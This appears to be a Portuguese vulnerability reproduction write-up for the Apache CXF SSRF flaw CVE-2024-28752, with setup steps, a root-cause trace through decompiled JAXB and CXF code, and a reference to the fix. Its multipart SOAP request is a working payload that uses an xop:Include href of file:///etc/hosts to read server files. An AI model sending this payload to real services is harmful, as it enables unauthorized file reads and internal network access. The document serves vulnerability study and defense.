
Apache CXF SSRF CVE-2024-28752
Aviso de vulnerabilidade: https://cxf.apache.org/security-advisories.data/CVE-2024-28752.txt
Inicie o serviço webservice via ServerStarter.java
Usando JDK8
mvn clean package
java -jar target/cxf.jar
Use BurpSuite para enviar a seguinte solicitação para acionar.
POST /test HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/related; boundary=----kkkkkk123123213
Content-Length: 472
Connection: close
------kkkkkk123123213
Content-Disposition: form-data; name="1"
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://service.namespace/">
<soapenv:Header/>
<soapenv:Body>
<web:test>
<arg0>
<count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/hosts"></xop:Include></count>
</arg0>
</web:test>
</soapenv:Body>
</soapenv:Envelope>
------kkkkkk123123213--

Abaixo está a pilha de leitura de arquivos, a tag xop:Include é analisada pela classe MTOMDecorator.
<init>:93, FileInputStream (java.io)
connect:90, FileURLConnection (sun.net.www.protocol.file)
getInputStream:188, FileURLConnection (sun.net.www.protocol.file)
openStream:1092, URL (java.net)
getInputStream:107, URLDataSource (javax.activation)
get:181, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
length:212, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
_parseInt:94, DatatypeConverterImpl (com.sun.xml.internal.bind)
parse:725, RuntimeBuiltinLeafInfoImpl$18 (com.sun.xml.internal.bind.v2.model.impl)
parse:723, RuntimeBuiltinLeafInfoImpl$18 (com.sun.xml.internal.bind.v2.model.impl)
text:54, TextLoader (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
text:572, UnmarshallingContext (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
startElement:92, MTOMDecorator (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
handleStartElement:231, StAXStreamConnector (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
bridge:165, StAXStreamConnector (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
unmarshal0:400, UnmarshallerImpl (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
unmarshal:379, UnmarshallerImpl (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
doUnmarshal:887, JAXBEncoderDecoder (org.apache.cxf.jaxb)
access$200:103, JAXBEncoderDecoder (org.apache.cxf.jaxb)
run:926, JAXBEncoderDecoder$3 (org.apache.cxf.jaxb)
doPrivileged:-1, AccessController (java.security)
unmarshall:924, JAXBEncoderDecoder (org.apache.cxf.jaxb)
unmarshall:744, JAXBEncoderDecoder (org.apache.cxf.jaxb)
read:172, DataReaderImpl (org.apache.cxf.jaxb.io)
handleMessage:109, DocLiteralInInterceptor (org.apache.cxf.wsdl.interceptors)
doIntercept:308, PhaseInterceptorChain (org.apache.cxf.phase)
onMessage:121, ChainInitiationObserver (org.apache.cxf.transport)
O conteúdo de href é processado pela classe AttachmentUnmarshaller.
class MTOMDecorator implements XmlVisitor {
public void startElement(TagName tagName) throws SAXException {
if (tagName.local.equals("Include") && tagName.uri.equals("http://www.w3.org/2004/08/xop/include")) {
String href = tagName.atts.getValue("href");
DataHandler attachment = this.au.getAttachmentAsDataHandler(href);
if (attachment == null) {
this.parent.getEventHandler().handleEvent((ValidationEvent) null);
}
this.base64data.set(attachment);
this.next.text(this.base64data);
this.inXopInclude = true;
this.followXop = true;
} else {
this.next.startElement(tagName);
}
}
}
A implementação padrão de AttachmentUnmarshaller é com.sun.xml.internal.ws.message.AttachmentUnmarshallerImpl, que processa apenas o conteúdo presente nos anexos atuais.
public final class AttachmentUnmarshallerImpl extends AttachmentUnmarshaller {
public DataHandler getAttachmentAsDataHandler(String cid) {
Attachment a = this.attachments.get(this.stripScheme(cid));
if (a == null) {
throw new WebServiceException(EncodingMessages.NO_SUCH_CONTENT_ID(cid));
} else {
return a.asDataHandler();
}
}
private String stripScheme(String cid) {
if (cid.startsWith("cid:")) {
cid = cid.substring(4);
}
return cid;
}
}
Já no Apache CXF, a classe de implementação é org.apache.cxf.jaxb.attachment.JAXBAttachmentUnmarshaller, que estende essa parte da implementação.
file:/// ou http://xxx, um payload SSRF comum, inicializará um URLDataSource. A correção oficial também está aqui apache/cxf@659a8
public final class AttachmentUtil {
public static DataSource getAttachmentDataSource(String contentId, Collection<Attachment> atts) {
if (contentId.startsWith("cid:")) {
try {
contentId = URLDecoder.decode(contentId.substring(4), StandardCharsets.UTF_8.name());
} catch (UnsupportedEncodingException var3) {
contentId = contentId.substring(4);
}
return loadDataSource(contentId, atts);
} else if (contentId.indexOf("://") == -1) {
return loadDataSource(contentId, atts);
} else {
try {
return new URLDataSource(new URL(contentId));
} catch (MalformedURLException e) {
throw new Fault(e);
}
}
}
}
public class URLDataSource implements DataSource {
public InputStream getInputStream() throws IOException {
return this.url.openStream();
}
}
Finalmente, Base64Data chama getInputStream para acionar url.openStream() para ler os dados e transmiti-los codificados em Base64.
public final class Base64Data extends Pcdata {
public byte[] get() {
if (this.data == null) {
try {
ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024);
InputStream is = this.dataHandler.getDataSource().getInputStream();
baos.readFrom(is);
is.close();
this.data = baos.getBuffer();
this.dataLen = baos.size();
} catch (IOException var3) {
this.dataLen = 0;
}
}
return this.data;
}
public void writeTo(char[] buf, int start) {
this.get();
DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen, buf, start);
}
public void writeTo(UTF8XmlOutput output) throws IOException {
this.get();
output.text(this.data, this.dataLen);
}
public void writeTo(XMLStreamWriter output) throws IOException, XMLStreamException {
this.get();
DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen, output);
}
}